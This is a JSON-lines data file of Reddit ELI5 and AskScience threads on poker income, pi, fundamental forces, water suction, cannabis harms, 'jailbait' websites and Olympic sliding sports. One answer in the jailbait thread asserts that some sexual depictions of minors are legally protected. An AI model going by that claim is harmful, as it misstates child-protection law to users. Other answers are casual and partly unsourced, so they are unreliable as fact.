maybe the best ever at tournament poker especially against weaker opponents.  Common wisdom is he also is a net loser (or was) at the big cash games.  Whether this one instance is specifically true or not, it's easily possible. \n\nBeing good at poker doesn't make you money. Being better than your opponents does. Full stop.", "There's a very very high rate of one and done so called pro players who churn through their bankroll and go back to the real world.  When you think pro.player, the actual number that exists of people that make a sustainable income doing so is actually very miniscule when compared to the wannabees.  ", "They win alot of money (supplemental income) from non-pro poker players that made bad decisions.", "I lived in Vegas for a while and played poker semi-professionally. That's to say that I had 'regular' job and that poker was a second source of income. I played 30-40 hours per week (mostly nights and weekends) and I was able to make about as much money playing poker as I did at my other job.\n\nTo answer your question, professional poker players typically avoid playing against professionals. At least in Vegas, the vast majority of people playing poker are tourists. Whether you're playing low-, medium-, or high- stakes, you can count on most of your competition being there \"to gamble\" and to enjoy themselves. This means that most of your opponents are relative neophytes.\n\nWhile luck plays a role in the short term, in the long term poker is a game of skill and good players will reliably make money against unskilled players.", "hey actual professional poker player for you.\n\ntwo pretty easy answers.\n1) a lot of good professional players find out early that one of the most important skills in poker is actually not being that good, but instead knowing who is not so good, or doesn't care to be, and making sure that you can spot then and play in games with them.\n\n2) a lot of 'pro-poker players' are actually not that good, and are unfortunately on a long road to eventually going broke. so the pros that work hard, save hard and study hard (rather than spending the extra money hard) are still at a big advantage. \n\n\nI'm gonna add in one last point that basically sums up how money is made but is not so ELI5. so No Limit Texas Hold Em consists of 4 betting rounds. Preflop, Flop, Turn and River. If we talk about all four at once things get a little complicated, and really unnecessarily so, so let's just focus for a second on preflop. \n\nLet's pretend for a second that preflop only has 4 hands \n\nAces, which basically always win, **and are also generally very uncommon\n\nAK, which wins if you don't make terrible errors.\n\nJT loses unless you play it super well on every betting round.\n\nAnd 43 which basically always loses overall no matter how well you play it on all betting rounds. **and is also generally very common\n\nA good professional will take the top 3 hands and learn how to play all of them really well. **and generally have the patience to wait for them.\n\nA bad professional will play the top 3 usually. But only thinking that they have an edge, occasionally still make the terrible errors, or not play really well. and even sometimes play hand 4 for lack of discipline,  or lack of knowledge as to how bad hand 4 actually is.\n\nThe type of player a good professional looks for will play all 4, drink, laugh and rebuy all night, and since the good professional is nice and a decent person to them they'll tell their friends all week how good of a time they had, and each week look forward to Friday night poker.", "Some pros sell pieces of a tournament to other players or to outside people - i.e. - you give me 50k now, and you can have ten percent of anything I win - this allows pros to have multiple pieces in the same tournament and hedge their own bets.\n\nSince this sort of behavior has nothing to do with the tournament itself, it can be sold at any time, so players can hedge their bets.", "I'm not much of a name-dropper, but I got really into watching Doug Polk on youtube and he's had a couple videos addressing this question. \n\nThe gist of what he said was something like: When it comes to pro Poker players, a lot of them don't have the money you'd expect them to have. Many of them are barely scraping by. \nHe said most of the professional players out there that have a lot of money are in that position because they're good with money. Being down to your last few bucks is very prevalent within the community. ", "My husband is not a professional poker player, but he is a good one. When he's not playing in a tournament, he plays where there is easy money.  There are a bunch of casinos where people just like to lose money. That's where he plays. He stays away from Atlantic City and Vegas. ", "The answer is in your question.  Poker economy depends on people depositing money.  Poker pros win and take the money out of the poker economy.  \n\nAt the highest levels, sponsorships and poker related businesses often make more money for a poker pro than actual poker.  There are some arguably pretty bad famous players who make a lit of money this way.\n\nLast but not least win rate is a function of skill edge.  Just because there are 2 pros doesn't mean they are equals.  Pros make money from other pros as well.  Pros test waters to see how that fare in bigger games, for example.  This is why Omaha and mixed games are popular at higher levels.  It is harder to be honest with oneself and know whether you have an edge in a given game with given players.  \n\n", "Former online and live pro poker player here- a couple points\n\n1)An online poker player makes money through both winning money vs his opponents and through a thing called rakeback. Rake is the money collected by the house for hosting the game. Rakeback is simply a % you get back out of it. Based on this, some \"pros\" can break even and still \"profit\" because they get paid out in the rakeback.\n2)Table selection is at a premium. A good poker player is only as good as they are relative to the other players at the table. It is called \"bumhunting\". It is sad but it does happen. Basically, a amateur will sit down at a table, and instantly it will be noticed and all the other seats fill with pros. The amateur will eventually lose their money and then as soon as that player leave the table, everyone stops playing and the table disappears. \n3) Live poker play at your local casino is dominated by non-pros. Sit down, have a good chat, have a good time - win or lose. When you start getting to destination events (European Poker tour, WSOP, WPT, Latin america poker tour, Pokerstars caribbean adventure, etc) the player pool obviously gets more difficult. You will find MOST of the best players spend a majority of their time online, or atleast built a bankroll online. The reason is if on a given hand lets say you are expected to make 50 cents per hand - that is your Expected Value, your bb/100 (big blinds won per 100 hands), your winrate. If you go to a casino you will play maybe 30 hands an hour. Your earnings are $15/hr. If you play online, maybe you will play better players so your win rate drops to 20 cents per hand. BUT, you can play more tables (lets say 12 tables) and there's 80 hands per hour. Now, even though you have less of an edge - your expected win rate is $.20*12*80 = $192/hr. Even though you reduced your earnings by hand by 60% ($.50 to $.20), your earnings increased by over 1000%/hr. Now, add some rakeback on top of that and you're making $200+/hr. It's that easy. Now the hard part... how to become a winning poker player!", "They use big events to get famous, then make most of their money milking the fans.\n\nExactly like porn stars.  Of course porn stars use videos to get their fame.", "You have the sharks(the professionals) and the little fish(the amatures). Sharks eat fish. Pros make their money off the amatures. ", "\"Pro player\" is a weird term.  If you're referring to people who make enough to not worry about a \"day job\", it doesn't take much.  You need to work the tables like a job, mix up local tourney's with the cash games and stay out of the way of the other pros.  \n\nIf what you're talking about is the sponsored famous players,you need tv time, and to make it deep into televised tourneys.  Although, those players are slimmer now than they used to be.  ", "There are two formats of poker. Cash games , where chips represent actual monetary value i.e a 1$ chip is equal to 1$. In tournaments, there is a buy in amount e.g 500$ and everyone who buys in receives the same amount of chips e.g 20k in chips and then they play until there is only one person left, \nthe reason poker players can make a sustained income even though they are playing against other pros in cash games is because there is always at least a couple \u2018recreational players \u2018 in the game , who are going to lose in the long run. So if there are 6 winning pros in a cash game and 3 \u2018recs\u2019 then the 6 winning pros will win their money overall from the money lost from the 3 recs. The amount won by the pros will differ depending on their skill, so the better pros will win more than the worse ones, but they will still all win. This is not to say the pros win every time they play v the recs but over a period of time they will end up with the money. \nFor tournaments the same concept applies. Even though pros are batting other pros, the recs in the field are the reason the pros can still make money. \nNow you may ask what if there\u2019s a cash game or tournament with only pros, then how are they able to all win?\nThe simple answer is they don\u2019t , and only the best will. If a cash game has 6 pros , then the best pros will make money overall from the worse ones. For tournaments, it\u2019s pretty hard for there to not be at least one rec which will the source of profit from the other pros , e.g if a tournament has 14 pros and 1 rex , then the tournament pros will be making very, very little money overall since there is only one losing player in the field. \nthis is a pretty general explanation of things, if i was unclear about anything feel free to ask. ", "The money trickles up from the bottom. Beginners lose money to not-so beginners, who eventually takes shots at higher stakes and lose money to better players. The majority of the money comes from beginners or loose cannon type players and a small amount comes from small edges over other professional opponents. ", "Look at Lex Veldhuis, hes a \"professional\" online poker player that is a losing player. Take the word professional with a grain of salt when it comes to poker. Some people will get insanely lucky binking a few big scores, be labeled a pro and then just bleed money the rest of their career.", "I'm late to this conversation but a lot of them in the past made a good amount of money by doing online poker. They would get paid to play against regular people basically to kick their asses. Also I believe Phil Ivy was known to go to random casinos and bet on every type of game you could just to make money. Take his private jet somewhere play craps or roulette for 2 hours, and take 500k with him. If he won he would easily triple what he had. If he lost he didn't care. ESPN did a small documentary on him back when he was a young poker hot shot.", "At big tourneys, they are basically risk pooling together, willing to share each day others winnings so they don\u2019t leave empty handed. Planet money had a podcast about it that I linked below. \n\n_URL_0_", "It's also important to remember a lot of Pro Poker Players lose everything and declare bankruptcy, are financed by investors, and don't have a sustained income.", "1) Play lots of matches against amateurs.\n\n2) Getting a corporate sponsorship after having some success.\n\n3) Continue to play without sustaining a steady income. ", "Money flows up from the bad players to the good so they play in games in which they are not the bad players.\n\nAlso, the number of professional poker players is relatively small. Most people can't beat both the other players AND the fees that the casino takes.", "Your question is worded incorrectly. They don't make a sustained income when they are against other pro-poker players. They make their money by playing as often as possible against non-pro poker players.\n\nBut it also depends on the level. A lot of pro poker players are guys you have never heard of. They grind in casinos for smallish stakes for super long hours. The big ones you know of, like Phil Ivey or Daniel Negranou, make their money off sponsorships and winning big tournaments, as well as playing vs. super wealthy Chinese businessmen in Macau.\n\nBut yes, most pro-poker players grind as often as possible vs. non-pros for relatively small stakes and make their money over time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.npr.org/sections/money/2016/03/18/470866146/episode-690-all-in"], [], [], [], []]}
{"q_id": "fihxq4", "title": "Happy Pi Day, everybody! Join us for a Pi Megathread!", "selftext": "It's March 14 (3/14 in the US) which means it's time to celebrate **Pi Day**!\n\n**What intrigues you about pi? Our experts are here to answer your questions.** Pi has enthralled humanity with questions like:\n\n- How do we know pi is [never-ending and non-repeating](_URL_0_/pi_irrational)?\n\n- Would pi still be irrational in [number systems that aren't base 10](_URL_0_/pi_base10  )?\n\n- How can an irrational number represent a real-world relationship like that [between a circumference and diameter](_URL_0_/pi_irrational_real_world)?\n\nRead about these questions and more in our [Mathematics FAQ](_URL_0_)! \n\nLooking for a specific piece of pi? Search for [sequences of numbers](_URL_4_) in the first 100,000,000 digits.\n\n**Happy Pi Day from all of us at r/AskScience! And of course, a happy birthday to Albert Einstein.**", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/fihxq4/happy_pi_day_everybody_join_us_for_a_pi_megathread/", "answers": {"a_id": ["fkn70d7", "fkh7mwu", "fkh9cmk", "fkhj3on", "fkhnl7r", "fkhvubr", "fkhwvdr", "fkiysmb", "fklu3yv"], "score": [2, 12, 6, 4, 3, 19, 8, 4, 3], "text": ["Surely the 22nd of July should be Pi day.", "Given than the smallest possible (we think) physical dimension, the Planck length, is roughly 1.6 \u00d710 ^ -35 m, is there any actual real world value in knowing pi beyond a certain degree of accuracy? There is, as far as we can currently tell, an absolute limit on just how precise of a physical measurement can actually exist.", "Sometimes I hear people saying we should be using \u03c4 (= 2\u03c0) instead of \u03c0. But I don't really understand why that matters. Is there actually any benefit to one over the other?", "What would change if Pi was rational?", "why does pi only exist in circles?", "This is the neatest thing I've learned about pi this year: _URL_0_", "I've heard that pi has been calculated to trillions of digits.  What is the purpose of calculating pi so precisely?", "Here are two cool related things about pi: \n\nFirst, we'll define [the zeta function](_URL_1_) as follows: zeta(s) + 1/1^s + 1/2^s + 1/3^s + 1/4^s ... This series converges (that is sums up to a finite number) whenever s > 1. We've known since Euler that zeta(2) = pi^2 / 6. That is, if you sum of 1/1 + 1/4 + 1/9 + 1/16 + 1/25... and you keep going, you'll get closer and closer to pi^2 /6 . There are similar series for zeta(4), zeta(6), zeta(8) and other even values. But what about the odd values? Let's say zeta(3)? We don't have any formula we know for it. It wasn't even until the 1970s that [Apery proved](_URL_0_) that zeta(3) is irrational. We now, know also that zeta(2n+1) is irrational for infinitely many positive integers n, but there's no specific value we can point to other than zeta(3).\n\nNext related fact: Suppose you want to understand the sum of the divisors of a positive integer, which we'll write as sigma(n). For example, sigma(4) = 7, because the divisors of 4 are 1, 2 and 4, and 1+2+4 =7. One might notice that this function seems to jump around a lot. For example, sigma(100)= 217 but sigma(101)=102  (since 101 is prime so it only has as divisors 1 and itself).  But we can do something we often try to do when we want to understand a function which jumps like this, is we can look at its average value. Now, how can we make an average value make sense for a function like this? What we'll do is we'll take the sum of sigma(1) + sigma(2) + sigma(3)... +sigma(n) and then divide by n, so we're taking the average of the first n sigma values. Then we'll look at what happens when n gets very large. It turns out this number when n gets large gets closer and closer to n(pi^2 )/(12) . Now, you  might notice the pi^2 in this and note that this is the same as saying n zeta(2)/2 and wonder if it is a coincidence. It is not. The method of proof for this result connects this function to the zeta function. So this thing which appears naturally in a geometric context is showing up in averages of arithmetic functions.", "The n'th digit (hexadecimal digit, or higit?) of pi can be computed exactly, without computing all the previous or subsequent digitis.\n\n [_URL_0_](_URL_1_)"]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/askscience/wiki/maths", "https://www.reddit.com/r/askscience/wiki/maths/pi_base10", "https://www.reddit.com/r/askscience/wiki/maths/pi_irrational_real_world", "https://www.reddit.com/r/askscience/wiki/maths/pi_irrational", "https://www.angio.net/pi/bigpi.cgi"], "answers_urls": [[], [], [], [], [], ["https://www.youtube.com/watch?v=HEfHFsfGXjs"], [], ["https://en.wikipedia.org/wiki/Ap%C3%A9ry%27s_theorem", "https://en.wikipedia.org/wiki/Riemann_zeta_function"], ["https://en.wikipedia.org/wiki/Bailey%E2%80%93Borwein%E2%80%93Plouffe\\_formula", "https://en.wikipedia.org/wiki/Bailey%E2%80%93Borwein%E2%80%93Plouffe_formula"]]}
{"q_id": "nz9mf", "title": "Is it possible there are forces weaker than gravity that we haven't discovered?", "selftext": "To make a weak analogy:\n\nMagnetism is a strong force, detectable from even a very low-mass magnet, which is able to overcome the force of gravity here on Earth.\n\nGravity is a weaker force, which although not strong enough to overcome magnetism even with something as high in mass as the Earth, but on cosmic scales dictates orbits and star formation and so many other things we see.\n\nIs it possible that there is an even weaker force, normally overcome by gravity, and showing so little effect that we don't currently recognize it, but that on the scale of galaxies or other superstructures in the universe, _is_ acting to effect their movements in a way not predicted by gravity alone?\n\nOr to put it another way: are we sure there is such a thing as dark energy, and not some additional low-level force which is only making itself seen at the scales where people start needing to add the idea of dark matter in order for gravitational forces to produce the right calculations. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/nz9mf/is_it_possible_there_are_forces_weaker_than/", "answers": {"a_id": ["c3d41by", "c3d4buy", "c3d4vh6"], "score": [3, 13, 17], "text": ["The possibility of more interactions than the current four described by the Standard Model and General Relativity exist, however, there is no evidence right not to suggest it.", "[Here's a paper](_URL_0_) that discusses a simple experiment that puts constraints on said forces.", " > are we sure there is such a thing as dark energy, and not some additional low-level force which is only making itself seen at the scales where people start needing to add the idea of dark **energy** in order for gravitational forces to produce the right calculations.\n\nCongratulations! You've just discovered [scalar-tensor theories](_URL_0_) of gravity. These are quite a popular way of solving the dark energy problem, as it turns out. The idea is to modify Einstein's theory of general relativity by adding a new type of field, called a scalar field, which interacts in some way with the gravitational field. (Alternatively, you could think of these theories as having gravity mediated by a spinless particle, a scalar, in addition to the usual graviton.) This scalar would add a \"fifth force\" which could manifest itself primarily on the largest scales, and it's surprisingly easy to get an accelerated expansion out of these types of models. This fifth force would be experimentally constrained by the sort of experiments that iorgelschmidt linked to."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.npl.washington.edu/eotwash/publications/pdf/lowfrontier2.pdf"], ["http://en.wikipedia.org/wiki/Scalar-tensor_theory"]]}
{"q_id": "98ti21", "title": "why can't you suck water higher than 10m (33f)?", "selftext": "I've heard that you can't suck water though a 10m (33f) vertical pipe due to pressures but you can pump it how high you want depending on the strength of the pump. Wouldn't the pressure work the same when pumping and sucking???", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/98ti21/eli5_why_cant_you_suck_water_higher_than_10m_33f/", "answers": {"a_id": ["e4ik4pu", "e4ik9u1", "e4iksbo", "e4ikthy", "e4ivu38"], "score": [53, 3, 4, 13, 2], "text": ["When you're sucking it through a pipe the max pressure you can get is determined by the pressure on the other end. One end of the pipe can never drop below pure vacuum (0 psi) so if the other is in water which is exposed to air then you only have 14.7 psi to work with. About as much pressure as a 10 meter column of water exerts\n\nIf you're pumping then you can create much greater pressures. You're not reducing the pressure on one end, you're increasing the pressure on the other and there is no upper limit on pressure", "Nope.  Once you have a vacuum above the water the pressure  can't go any lower, and at 0 pressure (vacuum), water rises about 30 feet.  ", "Sucking water through a pipe is like removing the air from inside the pipe, the water flows up to compensate that difference in pressure, but the higher it gets the less effective that method is, until it reaches a point (the 10 m) that's its not effective at all. \n\nWhen pumping water higher than that, I think there's two methods. \nOne is placing a pump at the bottom of the water source that doesn't remove the air, but pushes the water.\nThe other one is creating a lot of pressure in the water source so that when it opens, there water will flow upwards to even the the pressures of the water source and the outside pressure, so... The higher you want the water, the bigger the pressure in the water source.\n\n(That's how they obtain oil, the inyect the oil source with high pressure gases to make the oil come out)", " >  Wouldn't the pressure work the same when pumping and sucking???\n\nNo. This is because there isn't really any such thing as \"sucking\", there is only pressure. When at rest there is equal pressure on either end of the pipe. When you are \"sucking\" what is actually happening is the air pressure is being lowered on that end so the higher pressure on the other will force water into the pipe. It is ambient air pressure doing the pushing and it is limited by how much air pressure is available. If not opposed on the other end (if there is a vacuum) then it can only push about 33 feet of water at sea level. ", "With a pump, you can increase the pressure at one end. So you can make the pressure however high you want to go up into a tower.\n\nWith sucking, you are reducing the pressure at one end.\n\nThis has the same effect, essentially the other end is now *higher pressure* (since this end has been made lower) and pushes the fluid forward.\n\nBut while you can increase pressure to whatever big number you want, you can only *reduce* pressure to zero. Once you hit zero, the only way to push any further is, again, to increase the pressure at the other end. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "wki8x", "title": "My friend keeps telling me that smoking weed is not bad for your body, he even tells me it's good because it's medical uses. I've tried to explain him some of the cons I know from smoking marihuana but he doesn't listens to me. What are some of the bad effects your body gets when smoking weed?", "selftext": "Title says it all.\n\nSorry I've beeing trying to submit this question 3 times now. If you see another post similar ignore it while I delete it. \n\nEdit: Wow getting downvoted I'm just trying to help a friend. \n\nEdit 2: Wow thanks for your responses guys.  I'm only making this to show him how many bad things you can get when you smoke weed and not what he thinks. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/wki8x/my_friend_keeps_telling_me_that_smoking_weed_is/", "answers": {"a_id": ["c5e3qky", "c5e6ugo", "c5e70s0", "c5e7ca3", "c5eagar"], "score": [26, 2, 17, 8, 3], "text": ["Cannabis contains carcinogens.  This is undebatable and we can detect and identify them.  \n\nThe only thing that's subject to debate is whether those carcinogens significantly increase your risk of cancer.  This is where the research is divided.  Some research says it does, some says it doesn't.  Among those who say it doesn't, some have gone so far as to suggest it doesn't because something is canceling out the carcinogenic effects.  But again the premise (that it is/isn't carcinogenic) is not universally accepted.  You'll find papers that go either way.\n\nGenerally speaking inhaling ANY combusted organic matter produces carcinogens and harms your respiratory system, it's just a matter of to what degree and whether you think it's acceptable / tolerable.  There will be respiratory ailments, even if they're just minor.\n\nAlso there's tar.  Marijuana does produce about 4x more tar than tobacco.  There's no way that's healthy.\n\nMarijuana has benefits, but they're really just restricted to people with very specific diseases, it doesn't offer much of any benefit for healthy people.\n\n- - -\n\nFrom:  _URL_0_", "What about the mental aspects? They can be pretty bad, especially when certain people's brains are predisposed to mental health issues. That's part of your body, unless you're only referring to the lung issues that can come from it?\n    \"There is growing evidence that people with serious mental illness, including depression and psychosis, are more likely to use cannabis or have used it for long periods of time in the past.  Regular use of the drug has appeared to double the risk of developing a psychotic episode or long-term schizophrenia. However, does cannabis cause depression and schizophrenia or do people with these disorders use it as a medication?\nOver the past few years, research has strongly suggested that there is a clear link between early cannabis use and later mental health problems in those with a genetic vulnerability - and that there is a particular issue with the use of cannabis by adolescents.\n\nDepression\n\nA study following 1600 Australian school-children, aged 14 to 15 for seven years, found that while children who use cannabis regularly have a significantly higher risk of depression, the opposite was not the case - children who already suffered from depression were not more likely than anyone else to use cannabis. However, adolescents who used cannabis daily were five times more likely to develop depression and anxiety in later life.\n\nSchizophrenia\n\nThree major studies followed large numbers of people over several years, and showed that those people who use cannabis have a higher than average risk of developing schizophrenia. If you start smoking it before the age of 15, you are 4 times more likely to develop a psychotic disorder by the time you are 26. They found no evidence of self-medication. It seemed that, the more cannabis someone used, the more likely they were to develop symptoms.\"\n    _URL_0_", "In terms of the lung function -- this comes up every few months. \n\nThe studies on lung function are hard to interpret. This is because marijuana is a bronchodilator. This may cover up any long-term damage you are doing. The recent [JAMA](_URL_0_) paper showing stability of lung function in marijuana users was only in occasional users, and the users with the highest quartile of MJ use showed a decline in lung function (although this did not meet statistical significance).\n\nAs others have said, marijuana smoke has many carcinogens and other bad actors and can likely be expected to cause cancer. However, the epidemiology for proving this is complicated. As an aside, it took over 50 years to prove this for tobacco smoke, and it was way easier to recruit and quantify tobacco smokers than it is with MJ smokers. Adding to this is that many MJ smokers also smoke/smoked tobacco so you have a confounding variable. MJ smoke is dirty and it is usually smoked unfiltered.", "Another question, what effect does filtration have on the toxic elements of marijuana smoke? For example the two supposedly cleaner methods: water and vaporization.", "I have a few questions, if you don't mind. \nI understand the inhalation of any combusted plant matter can pose serious health risks, but this is true of all plant matter. \nBesides the triggering of schizophrenia in people who are genetically prone to the disease, what negative effects on the human body does cannabis use have when consumed via other methods (eaten, vaporized, etc)?\n\nWhat exactly sets off the schizophrenia? Are the plant's psychoactive chemicals the culprit?\n\nAlso, are the long term effects of cannabis use on memory unique to its consumption via smoking? \n\nIf not, how exactly does cannabis affect the memory? Has there been research into the exact process by which the components of cannabis interact with the brain on a long-term basis? And if so, are the major psychoactive chemicals (THC, CBD, etc.) contributory factors to the long-term degradation of memory? \n\nI have searched extensively for research on the subject, and have not yet been able to uncover any satisfactory findings about any of the above questions. If anybody is aware of relevant research, please share.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Effects_of_cannabis"], ["http://www.rcpsych.ac.uk/mentalhealthinfo/problems/alcoholanddrugs/cannabis.aspx"], ["http://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=5&amp;ved=0CGEQFjAE&amp;url=http%3A%2F%2Fjama.ama-assn.org%2Fcontent%2F307%2F17%2F1796.1.extract%3Fetoc%26cited-by%3Dyes%26legid%3Djama%3B307%2F17%2F1796&amp;ei=fUUCUPHmL6Oe2wWz2amsCw&amp;usg=AFQjCNEbrMTgznwHlzLROAk4sGa-Mu5uPw&amp;sig2=Nl93IUGIYS2IA1_oamXcIw"], [], []]}
{"q_id": "3s8n8i", "title": "how are there popular, well-known jailbait sites that don't get shut down when they show sexual pictures of kids under 18?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3s8n8i/eli5_how_are_there_popular_wellknown_jailbait/", "answers": {"a_id": ["cwv25fq", "cwv2m2f"], "score": [10, 6], "text": ["Why would you think there are any? Have you been to them?", "Any one or more of the following could explain why:\n\na) the website only features adults 18+ even though terms like jailbait are used to describe the content\n\nb) the website operators are trying to claim safe harbor protections which may apply in cases where: content is user submitted, users are instructed to only submit 18+ content, and the operators remove content as soon as they \"become aware\" (e.g. receive a report that) the content features persons under age 18\n\nc) the website simply operates illegally and hasn't been shutdown yet\n\nd) the website operates under a legal 'gray' (or 'grey') area of the law\n\nFor (d) in particular, understand that not all sexual content or nudity involving minors is explicitly illegal. Many countries/jurisdictions (including the US) afford 'freedom of speech' protections for depictions of minors involving non-sexual nudity and sexual content where there is artistic/literary merit or alternatively where the depictions service an explicit medical/scientific purpose. \n\nSometimes the distinction between legal and illegal is not at all clear, and prosecutors may not actively go after websites that operate in the gray/grey area of the law because it's not necessarily true that a court will rule in their favor and shutdown the site and prosecutors' efforts are generally better spent going after sites with content that is clearly illegal.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1yb9xc", "title": "how do people get into some of these olympic sports to begin with like bobsledding or the luge?", "selftext": "**This has been answered. Over 500 times. There is no need for new comments.**\n\nWhen I watch some of these Olympic events, I wonder how a person gets started in something like bobsledding, or the luge, or curling (just a few examples).\n\nThese seem like sports that are all or nothing. How do you go from not being a bobsledder, to being a bobsledder? Where are the practice courses? How do they get in touch with a coach, or get the equipment? I've never heard of a single bobsledding event or course, other than at the Olympics. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1yb9xc/eli5_how_do_people_get_into_some_of_these_olympic/", "answers": {"a_id": ["cfizyer", "cfj1c1r", "cfj1nwh", "cfj1yy8", "cfj2cfc", "cfj2jly", "cfj2l8s", "cfj2uq8", "cfj2zej", "cfj32vw", "cfj33jt", "cfj345l", "cfj36de", "cfj3jsf", "cfj3nck", "cfj3ntq", "cfj4js3", "cfj4ro8", "cfj4xxr", "cfj5090", "cfj5ian", "cfj5j19", "cfj5rea", "cfj5tsr", "cfj5y08", "cfj66q4", "cfj690v", "cfj6lwf", "cfj6ru8", "cfj7f9d", "cfj8f2z", "cfj8fy6", "cfj8mp6", "cfj8nni", "cfjag3m", "cfjaox4", "cfjb43x", "cfjcf9g", "cfje4rk", "cfje7wk", "cfjec8l", "cfjehuk", "cfjffbk", "cfjgevk", "cfjgtj2", "cfji8zw", "cfjiibm", "cfjilfc", "cfjli4v"], "score": [1537, 15, 27, 3, 27, 8, 11, 39, 405, 8, 87, 12, 10, 4, 4, 47, 2, 2, 3, 16, 45, 11, 2, 3, 2, 2, 26, 7, 2, 9, 3, 5, 2, 6, 2, 2, 5, 2, 6, 3, 7, 3, 2, 2, 2, 2, 2, 2, 2], "text": ["Hey I actually know the answer to this one!\n\nI trained for the Junior Olympic Luge team a few years back, and had I continued, I would have likely been competing for Team USA in Sochi.\n\n\n\nWhen i was in 7th grade, the USA Luge team sent scouts across the country looking for athletes to become lugers, so they blocked off a section of the highway with a pretty steep hill, and had anybody who signed up sled down the hill on sleds that they had taken the blades off and replaced with rollerblade wheels.\n\nThen there were some fitness tests (pull ups, push ups, wall sits, that kind of stuff), but i doubt that they really cared about those because I was a scrawny little kid and could barely muster 1 pull up, but I was pretty good on the sled so i think that is what set me apart from the others.\n\nI was one of the lucky few who got invited to Lake Placid NY to train for the team.\n\ni stayed there for 2 weeks at the olympic training facility and got to go down the track many many times. I was trained by a member of the US luge team (he did doubles though, and i was training for singles). The sleds, helmets, etc were all supplied by the training facility. The only thing i wish i had brought was a helmet that would cover my face too because the ice that the sled kicked up hurt like none other.\n\nunfortunately, there are only 3 bobsled tracks in the country ( located in NY, MI, and I think UT but that one might be in CO I am not 100% sure) so i could not continue training (I lived in Arizona at the time and they would not pay for my flights to get to a training facility)\n\nI can say luge is an amazing sport and if you ever get the chance to do it, you should take it because it is unlike any sport i have ever competed in.\n\nI am willing to field any questions you or others may have on the topic.\n\n\nEDIT**\n\nHere is a picture of the group that i was in as proof. I know I have better pictures somewhere in the universe but i do not know where exactly they are. I am the awkward looking blonde kid in the back row. Please try not to make too much fun of me, 7th grade was a very awkward year.\n\n\nAlso thanks for the gold whoever gave it!\n\n\n[Imgur](_URL_0_)", "Sometimes there are scouts at track meets to scout out sprinters for the Bobsleigh events, because the event requires a lot of explosive speed at the start. I was vaguely acquainted with someone who was noticed by a scout at a track meet in Toronto and got into the event with the scout's contacts. I don't know what became of her, but it's usually not the absolute fastest people. But still incredible athletes. There were definitely some bobsleigh tracks around vancouver at one point.", "Not sure if you noticed but after most Olympic events that the USA would consider obscure, Bobsled luge etc. There is an announcement on how to get involved in the sport this is mostly due to the lack of exposure their sport has. The us needs more athletes in most winter game sports ", "I question how a lot of sports start.  Who is the first genius that thinks sliding headfirst down  a hill will be smart?  Some sports are just not that popular in US since there is very little training ground.  Here are a few clips from Time that shows you how they train, and some background about the sport.\n\nSkeleton Racing - _URL_1_\nLuge - _URL_2_\n4-man Bobsled - _URL_0_", "This is [Jana Pittman](_URL_0_), she's an Aussie athlete who started in running and hurdles. Now she's a member of the Aussie Bobsledding team in Sochi. Her skills transfer I guess.\n\nShe has now represented Australia in both Summer and Winter Olympics. (She's a little infamous here in Aust as being a bit of a sook. Aussies hate sooks.)", "Two words for you. Cool. Runnings.", "There's lots of transfers in from other sports. A girl from my college track team now competes in bobsledding. She was a 100m hurdler. So she's got the background in powerful speed and was obviously able to transfer those skills while training for a new sport. I'm afraid I can't help with where they go to train part of your question though.", "I live in Salt Lake City, UT which is about twenty minutes from Park City, UT, one of the few locations that offers the necessary tracks. As such, it has become a bit of a \"rich-kid sport\" around here. Parents who want their kids to have a chance to be Olympians will put their kids into training for it. If you're any good, there's a decent chance you can make the Olympics as it's more a question of who has more access to train rather than a question of merit.\n\nI had an acquaintance in high school who had his parents put him into luge for that reason. He quit as soon as his parents let him; he got sick of it.", "I'm a current member of the US Bobsled and Skeleton Federation so I can give you a bit of insight for bob/skeleton\n\nThere are only 2 tracks in the US and 2 in Canada.  Lake Placid, NY and Park City, Utah.  There is a small track in Michigan but it is not a legal course and is not used in any sactioned races.  Nor is it a training site for Team USA.\n\nThe US Bobsled  &  Skeleton Federation recruits athleticism.  They have fitness combines every summer that are scored on a scale of 800.  You sign up on the website to take it.  You will be tested in various sprints (15m-45m), Broad jump, shot toss, 3 rep squat max and a power clean max.  After taking this fitness test, you might get invited back in the fall/winter to do a \"driving school\" and learn how to drive/see if you like the sport.  For bobsled brakemen, they do a \"push championships\" in the fall to see how fast they can push the sled.  From there, they might get picked up by a driver to compete on a racing circuit for the season.  As far as training goes, some athletes live in Lake Placid, some live in Park City but the rest live in their hometowns and train there in the off-season.  Once the season starts again, the athlete travels to Lake Placid for the start of the season.\n\nMost bobsledders are former football players or track and field athletes.  They generally start in their 20s vs. Luge which starts in the early teens.  The brakemen push the sled and hop in.  Their job lasts 5 seconds and they need to be as big and powerful as possible in order to get the sled moving.  It's the drivers job to navigate down the track and that can easily be an 8 year commitment to becoming a world class driver.\n\nEquipment is quite tricky.  It really depends on what you're looking for.  Helmets ($600) and brush spikes ($400) are made in Germany but it can be very difficult to get a hold of the proper people.  Speed suits are either distributed by the federation or purchased for $800 from a custom tailor in Canada.\n\nThe FIBT (Federation Internationale de Bobsleigh et de Tobogganing) is the international governing body or the sport.  They govern all races.  There are 8 or 9 races each season for every circuit and you points for how well you do in a given race.\n\nThere are different levels of racing.  They go in this order:\nWorld Cup (pretty much the people in the Olympics)\nIntercontinental Cup (only Skeleton)\nEuropa Cup\nNorth American Cup\n\nThe sliding sports are quite popular in Europe.  It just doesn't get any air time in the US until the Olympics rolls around.  I can assure you that every season, athletes are completing internationally in FIBT 